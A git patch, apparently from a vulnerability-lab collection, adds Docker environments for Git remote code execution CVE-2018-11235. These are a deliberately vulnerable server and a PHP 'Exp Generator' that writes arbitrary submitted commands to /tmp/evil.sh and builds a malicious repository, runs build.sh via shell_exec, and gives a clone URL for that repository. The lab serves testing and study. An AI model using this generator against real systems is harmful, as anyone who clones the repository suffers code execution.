From c4b3dcc7f47950b6e6efa9bc9896f98a0c55100a Mon Sep 17 00:00:00 2001 From: Medicean Date: Fri, 1 Jun 2018 16:24:53 +0800 Subject: [PATCH] =?UTF-8?q?(Add=20Vul:=20Git)=20Git=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=20CVE-20?= =?UTF-8?q?18-11235?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 4 + g/git/1/Dockerfile | 17 +++ g/git/1/README.md | 1 + g/git/1/exp/Dockerfile | 26 ++++ g/git/1/exp/src/000-default.conf | 16 +++ g/git/1/exp/src/apache2.conf | 228 +++++++++++++++++++++++++++++++ g/git/1/exp/src/base.tar.gz | Bin 0 -> 6562 bytes g/git/1/exp/src/build.sh | 29 ++++ g/git/1/exp/src/index.php | 40 ++++++ g/git/1/exp/src/start.sh | 3 + g/git/1/src/apache2.conf | 228 +++++++++++++++++++++++++++++++ g/git/1/src/index.php | 23 ++++ g/git/1/src/start.sh | 3 + g/git/README.md | 4 + 14 files changed, 622 insertions(+) create mode 100644 g/git/1/Dockerfile create mode 100644 g/git/1/README.md create mode 100644 g/git/1/exp/Dockerfile create mode 100644 g/git/1/exp/src/000-default.conf create mode 100644 g/git/1/exp/src/apache2.conf create mode 100644 g/git/1/exp/src/base.tar.gz create mode 100644 g/git/1/exp/src/build.sh create mode 100644 g/git/1/exp/src/index.php create mode 100644 g/git/1/exp/src/start.sh create mode 100644 g/git/1/src/apache2.conf create mode 100644 g/git/1/src/index.php create mode 100644 g/git/1/src/start.sh create mode 100644 g/git/README.md diff --git a/README.md b/README.md index 0d5bb7c..585e56b 100644 --- a/README.md +++ b/README.md @@ -77,6 +77,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037 * [FFmpeg](./i/ffmpeg/) +### [G](./g/)
+ +* [Git](./g/git/) + ### [I](./i/)
* [ImageMagick](./i/imagemagick/) diff --git a/g/git/1/Dockerfile b/g/git/1/Dockerfile new file mode 100644 index 0000000..22fd79c --- /dev/null +++ b/g/git/1/Dockerfile @@ -0,0 +1,17 @@ +FROM medicean/vulapps:base_lamp + +RUN set -x \ + && apt-get update \ + && apt-get install -y git=1:1.9.1-1 \ + && rm -rf /var/www/html/* \ + && mkdir -p /var/www/html/repos + +COPY src/apache2.conf /etc/apache2/apache2.conf +COPY src/index.php /var/www/html/index.php +COPY src/start.sh /start.sh + +RUN chmod +x /start.sh \ + && chown -R www-data:www-data /var/www/html + +EXPOSE 80 +CMD ["/start.sh"] diff --git a/g/git/1/README.md b/g/git/1/README.md new file mode 100644 index 0000000..e2f0103 --- /dev/null +++ b/g/git/1/README.md @@ -0,0 +1 @@ +## Git远程代码执行漏洞(CVE-2018-11235) diff --git a/g/git/1/exp/Dockerfile b/g/git/1/exp/Dockerfile new file mode 100644 index 0000000..eee1c58 --- /dev/null +++ b/g/git/1/exp/Dockerfile @@ -0,0 +1,26 @@ +FROM medicean/vulapps:base_lamp + +COPY src/base.tar.gz /tmp/base.tar.gz + +RUN set -x \ + && a2enmod cgi alias env rewrite \ + && apt-get update \ + && apt-get install -y git=1:1.9.1-1 git-core \ + && rm -rf /var/www/html/* \ + && mkdir -p /var/www/html/repos \ + && tar -zxvf /tmp/base.tar.gz -C /var/www/html/repos/ \ + && apt-get remove -y mysql-server mysql-client \ + && apt-get clean \ + && rm -rf /var/lib/apt/lists/* + +COPY src/apache2.conf /etc/apache2/apache2.conf +COPY src/000-default.conf /etc/apache2/sites-available/000-default.conf +COPY src/index.php /var/www/html/index.php +COPY src/build.sh /var/www/html/build.sh +COPY src/start.sh /start.sh + +RUN chmod +x /start.sh \ + && chown -R www-data:www-data /var/www/html + +EXPOSE 80 +CMD ["/start.sh"] diff --git a/g/git/1/exp/src/000-default.conf b/g/git/1/exp/src/000-default.conf new file mode 100644 index 0000000..1565af0 --- /dev/null +++ b/g/git/1/exp/src/000-default.conf @@ -0,0 +1,16 @@ + + SetEnv GIT_PROJECT_ROOT /var/www/html/repos + SetEnv GIT_HTTP_EXPORT_ALL + ScriptAlias /git/ /usr/lib/git-core/git-http-backend/ + +DocumentRoot /var/www/html + + + Options +ExecCgi -MultiViews +SymLinksIfOwnerMatch + AllowOverride none + Order allow,deny + Allow from all + Require all granted + + + diff --git a/g/git/1/exp/src/apache2.conf b/g/git/1/exp/src/apache2.conf new file mode 100644 index 0000000..1576d89 --- /dev/null +++ b/g/git/1/exp/src/apache2.conf @@ -0,0 +1,228 @@ +# This is the main Apache server configuration file. It contains the +# configuration directives that give the server its instructions. +# See http://httpd.apache.org/docs/2.4/ for detailed information about +# the directives and /usr/share/doc/apache2/README.Debian about Debian specific +# hints. +# +# +# Summary of how the Apache 2 configuration works in Debian: +# The Apache 2 web server configuration in Debian is quite different to +# upstream's suggested way to configure the web server. This is because Debian's +# default Apache2 installation attempts to make adding and removing modules, +# virtual hosts, and extra configuration directives as flexible as possible, in +# order to make automating the changes and administering the server as easy as +# possible. + +# It is split into several files forming the configuration hierarchy outlined +# below, all located in the /etc/apache2/ directory: +# +# /etc/apache2/ +# |-- apache2.conf +# | `-- ports.conf +# |-- mods-enabled +# | |-- *.load +# | `-- *.conf +# |-- conf-enabled +# | `-- *.conf +# `-- sites-enabled +# `-- *.conf +# +# +# * apache2.conf is the main configuration file (this file). It puts the pieces +# together by including all remaining configuration files when starting up the +# web server. +# +# * ports.conf is always included from the main configuration file. It is +# supposed to determine listening ports for incoming connections which can be +# customized anytime. +# +# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ +# directories contain particular configuration snippets which manage modules, +# global configuration fragments, or virtual host configurations, +# respectively. +# +# They are activated by symlinking available configuration files from their +# respective *-available/ counterparts. These should be managed by using our +# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See +# their respective man pages for detailed information. +# +# * The binary is called apache2. Due to the use of environment variables, in +# the default configuration, apache2 needs to be started/stopped with +# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not +# work with the default configuration. + + +# Global configuration +# + +# +# ServerRoot: The top of the directory tree under which the server's +# configuration, error, and log files are kept. +# +# NOTE! If you intend to place this on an NFS (or otherwise network) +# mounted filesystem then please read the Mutex documentation (available +# at ); +# you will save yourself a lot of trouble. +# +# Do NOT add a slash at the end of the directory path. +# +#ServerRoot "/etc/apache2" + +# +# The accept serialization lock file MUST BE STORED ON A LOCAL DISK. +# +Mutex file:${APACHE_LOCK_DIR} default + +# +# PidFile: The file in which the server should record its process +# identification number when it starts. +# This needs to be set in /etc/apache2/envvars +# +PidFile ${APACHE_PID_FILE} + +# +# Timeout: The number of seconds before receives and sends time out. +# +Timeout 300 + +# +# KeepAlive: Whether or not to allow persistent connections (more than +# one request per connection). Set to "Off" to deactivate. +# +KeepAlive On + +# +# MaxKeepAliveRequests: The maximum number of requests to allow +# during a persistent connection. Set to 0 to allow an unlimited amount. +# We recommend you leave this number high, for maximum performance. +# +MaxKeepAliveRequests 100 + +# +# KeepAliveTimeout: Number of seconds to wait for the next request from the +# same client on the same connection. +# +KeepAliveTimeout 5 + + +# These need to be set in /etc/apache2/envvars +User ${APACHE_RUN_USER} +Group ${APACHE_RUN_GROUP} + +# +# HostnameLookups: Log the names of clients or just their IP addresses +# e.g., www.apache.org (on) or 204.62.129.132 (off). +# The default is off because it'd be overall better for the net if people +# had to knowingly turn this feature on, since enabling it means that +# each client request will result in AT LEAST one lookup request to the +# nameserver. +# +HostnameLookups Off + +# ErrorLog: The location of the error log file. +# If you do not specify an ErrorLog directive within a +# container, error messages relating to that virtual host will be +# logged here. If you *do* define an error logfile for a +# container, that host's errors will be logged there and not here. +# +ErrorLog ${APACHE_LOG_DIR}/error.log + +# +# LogLevel: Control the severity of messages logged to the error_log. +# Available values: trace8, ..., trace1, debug, info, notice, warn, +# error, crit, alert, emerg. +# It is also possible to configure the log level for particular modules, e.g. +# "LogLevel info ssl:warn" +# +LogLevel warn + +# Include module configuration: +IncludeOptional mods-enabled/*.load +IncludeOptional mods-enabled/*.conf + +# Include list of ports to listen on +Include ports.conf + + +# Sets the default security model of the Apache2 HTTPD server. It does +# not allow access to the root filesystem outside of /usr/share and /var/www. +# The former is used by web applications packaged in Debian, +# the latter may be used for local directories served by the web server. If +# your system is serving content from a sub-directory in /srv you must allow +# access here, or in any related virtual host. + + Options FollowSymLinks + AllowOverride None + Require all denied + + + + AllowOverride None + Require all granted + + + + Options Indexes FollowSymLinks + AllowOverride None + Require all granted + + +# +# Options Indexes FollowSymLinks +# AllowOverride None +# Require all granted +# + + Options Indexes FollowSymLinks + + SetHandler application/x-httpd-php-source + Order Deny,Allow + Allow from all + + + + + +# AccessFileName: The name of the file to look for in each directory +# for additional configuration directives. See also the AllowOverride +# directive. +# +AccessFileName .htaccess + +# +# The following lines prevent .htaccess and .htpasswd files from being +# viewed by Web clients. +# + + Require all denied + + + +# +# The following directives define some format nicknames for use with +# a CustomLog directive. +# +# These deviate from the Common Log Format definitions in that they use %O +# (the actual bytes sent including headers) instead of %b (the size of the +# requested file), because the latter makes it impossible to detect partial +# requests. +# +# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. +# Use mod_remoteip instead. +# +LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined +LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined +LogFormat "%h %l %u %t \"%r\" %>s %O" common +LogFormat "%{Referer}i -> %U" referer +LogFormat "%{User-agent}i" agent + +# Include of directories ignores editors' and dpkg's backup files, +# see README.Debian for details. + +# Include generic snippets of statements +IncludeOptional conf-enabled/*.conf + +# Include the virtual host configurations: +IncludeOptional sites-enabled/*.conf + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/g/git/1/exp/src/base.tar.gz b/g/git/1/exp/src/base.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..476493596128a528122d89ebf3187fea1e78cbd9 GIT bin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ulApps CVE-2018-11235 Exp Generator

+
+
+
+ +
+ 查看已有仓库
+ +请不要使用 127.0.0.1 这个地址来访问此页面"); + } + + if (isset($_REQUEST['command']) && !empty($_REQUEST['command'])) { + $command = str_replace("\r\n", "\n", $_REQUEST['command']); + file_put_contents("/tmp/evil.sh", $command); + // @chdir("/var/www/html/repos/"); + $str="QWERTYUIOPASDFGHJKLZXCVBNM1234567890qwertyuiopasdfghjklzxcvbnm"; + str_shuffle($str); + $repo_name=substr(str_shuffle($str),26,10); + + shell_exec("/bin/sh /var/www/html/build.sh ".$repo_name." ".$_SERVER['HTTP_HOST']); + + $expurl=$_SERVER['REQUEST_SCHEME']."://".$_SERVER['HTTP_HOST']."/git/".$repo_name; + echo "生成Exp成功:
"; + echo "Exp URL: ".$expurl."
"; + echo "如果你想在自己机器上测试,执行:
"; + echo "git clone --recurse ".$expurl; + } +?> + + diff --git a/g/git/1/exp/src/start.sh b/g/git/1/exp/src/start.sh new file mode 100644 index 0000000..3f737e7 --- /dev/null +++ b/g/git/1/exp/src/start.sh @@ -0,0 +1,3 @@ +#!/bin/bash +/etc/init.d/apache2 restart +/usr/bin/tail -f /dev/null diff --git a/g/git/1/src/apache2.conf b/g/git/1/src/apache2.conf new file mode 100644 index 0000000..1576d89 --- /dev/null +++ b/g/git/1/src/apache2.conf @@ -0,0 +1,228 @@ +# This is the main Apache server configuration file. It contains the +# configuration directives that give the server its instructions. +# See http://httpd.apache.org/docs/2.4/ for detailed information about +# the directives and /usr/share/doc/apache2/README.Debian about Debian specific +# hints. +# +# +# Summary of how the Apache 2 configuration works in Debian: +# The Apache 2 web server configuration in Debian is quite different to +# upstream's suggested way to configure the web server. This is because Debian's +# default Apache2 installation attempts to make adding and removing modules, +# virtual hosts, and extra configuration directives as flexible as possible, in +# order to make automating the changes and administering the server as easy as +# possible. + +# It is split into several files forming the configuration hierarchy outlined +# below, all located in the /etc/apache2/ directory: +# +# /etc/apache2/ +# |-- apache2.conf +# | `-- ports.conf +# |-- mods-enabled +# | |-- *.load +# | `-- *.conf +# |-- conf-enabled +# | `-- *.conf +# `-- sites-enabled +# `-- *.conf +# +# +# * apache2.conf is the main configuration file (this file). It puts the pieces +# together by including all remaining configuration files when starting up the +# web server. +# +# * ports.conf is always included from the main configuration file. It is +# supposed to determine listening ports for incoming connections which can be +# customized anytime. +# +# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ +# directories contain particular configuration snippets which manage modules, +# global configuration fragments, or virtual host configurations, +# respectively. +# +# They are activated by symlinking available configuration files from their +# respective *-available/ counterparts. These should be managed by using our +# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See +# their respective man pages for detailed information. +# +# * The binary is called apache2. Due to the use of environment variables, in +# the default configuration, apache2 needs to be started/stopped with +# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not +# work with the default configuration. + + +# Global configuration +# + +# +# ServerRoot: The top of the directory tree under which the server's +# configuration, error, and log files are kept. +# +# NOTE! If you intend to place this on an NFS (or otherwise network) +# mounted filesystem then please read the Mutex documentation (available +# at ); +# you will save yourself a lot of trouble. +# +# Do NOT add a slash at the end of the directory path. +# +#ServerRoot "/etc/apache2" + +# +# The accept serialization lock file MUST BE STORED ON A LOCAL DISK. +# +Mutex file:${APACHE_LOCK_DIR} default + +# +# PidFile: The file in which the server should record its process +# identification number when it starts. +# This needs to be set in /etc/apache2/envvars +# +PidFile ${APACHE_PID_FILE} + +# +# Timeout: The number of seconds before receives and sends time out. +# +Timeout 300 + +# +# KeepAlive: Whether or not to allow persistent connections (more than +# one request per connection). Set to "Off" to deactivate. +# +KeepAlive On + +# +# MaxKeepAliveRequests: The maximum number of requests to allow +# during a persistent connection. Set to 0 to allow an unlimited amount. +# We recommend you leave this number high, for maximum performance. +# +MaxKeepAliveRequests 100 + +# +# KeepAliveTimeout: Number of seconds to wait for the next request from the +# same client on the same connection. +# +KeepAliveTimeout 5 + + +# These need to be set in /etc/apache2/envvars +User ${APACHE_RUN_USER} +Group ${APACHE_RUN_GROUP} + +# +# HostnameLookups: Log the names of clients or just their IP addresses +# e.g., www.apache.org (on) or 204.62.129.132 (off). +# The default is off because it'd be overall better for the net if people +# had to knowingly turn this feature on, since enabling it means that +# each client request will result in AT LEAST one lookup request to the +# nameserver. +# +HostnameLookups Off + +# ErrorLog: The location of the error log file. +# If you do not specify an ErrorLog directive within a +# container, error messages relating to that virtual host will be +# logged here. If you *do* define an error logfile for a +# container, that host's errors will be logged there and not here. +# +ErrorLog ${APACHE_LOG_DIR}/error.log + +# +# LogLevel: Control the severity of messages logged to the error_log. +# Available values: trace8, ..., trace1, debug, info, notice, warn, +# error, crit, alert, emerg. +# It is also possible to configure the log level for particular modules, e.g. +# "LogLevel info ssl:warn" +# +LogLevel warn + +# Include module configuration: +IncludeOptional mods-enabled/*.load +IncludeOptional mods-enabled/*.conf + +# Include list of ports to listen on +Include ports.conf + + +# Sets the default security model of the Apache2 HTTPD server. It does +# not allow access to the root filesystem outside of /usr/share and /var/www. +# The former is used by web applications packaged in Debian, +# the latter may be used for local directories served by the web server. If +# your system is serving content from a sub-directory in /srv you must allow +# access here, or in any related virtual host. + + Options FollowSymLinks + AllowOverride None + Require all denied + + + + AllowOverride None + Require all granted + + + + Options Indexes FollowSymLinks + AllowOverride None + Require all granted + + +# +# Options Indexes FollowSymLinks +# AllowOverride None +# Require all granted +# + + Options Indexes FollowSymLinks + + SetHandler application/x-httpd-php-source + Order Deny,Allow + Allow from all + + + + + +# AccessFileName: The name of the file to look for in each directory +# for additional configuration directives. See also the AllowOverride +# directive. +# +AccessFileName .htaccess + +# +# The following lines prevent .htaccess and .htpasswd files from being +# viewed by Web clients. +# + + Require all denied + + + +# +# The following directives define some format nicknames for use with +# a CustomLog directive. +# +# These deviate from the Common Log Format definitions in that they use %O +# (the actual bytes sent including headers) instead of %b (the size of the +# requested file), because the latter makes it impossible to detect partial +# requests. +# +# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. +# Use mod_remoteip instead. +# +LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined +LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined +LogFormat "%h %l %u %t \"%r\" %>s %O" common +LogFormat "%{Referer}i -> %U" referer +LogFormat "%{User-agent}i" agent + +# Include of directories ignores editors' and dpkg's backup files, +# see README.Debian for details. + +# Include generic snippets of statements +IncludeOptional conf-enabled/*.conf + +# Include the virtual host configurations: +IncludeOptional sites-enabled/*.conf + +# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/g/git/1/src/index.php b/g/git/1/src/index.php new file mode 100644 index 0000000..bb7720d --- /dev/null +++ b/g/git/1/src/index.php @@ -0,0 +1,23 @@ + + + + Repository Clone + + +

CVE-2018-11235 Vuln Demo

+
+
+
+ +
+

注意:GitHub 和微软(通过 Visual Studio Team Services)的 Git 托管服务已经部署了这些补丁,clone 的 URL 可以使用自己的服务器。

+Repos'; + } +?> + + diff --git a/g/git/1/src/start.sh b/g/git/1/src/start.sh new file mode 100644 index 0000000..3f737e7 --- /dev/null +++ b/g/git/1/src/start.sh @@ -0,0 +1,3 @@ +#!/bin/bash +/etc/init.d/apache2 restart +/usr/bin/tail -f /dev/null diff --git a/g/git/README.md b/g/git/README.md new file mode 100644 index 0000000..27f9981 --- /dev/null +++ b/g/git/README.md @@ -0,0 +1,4 @@ +Git +--- + +1. [Git远程代码执行漏洞(CVE-2018-11235)](./1/)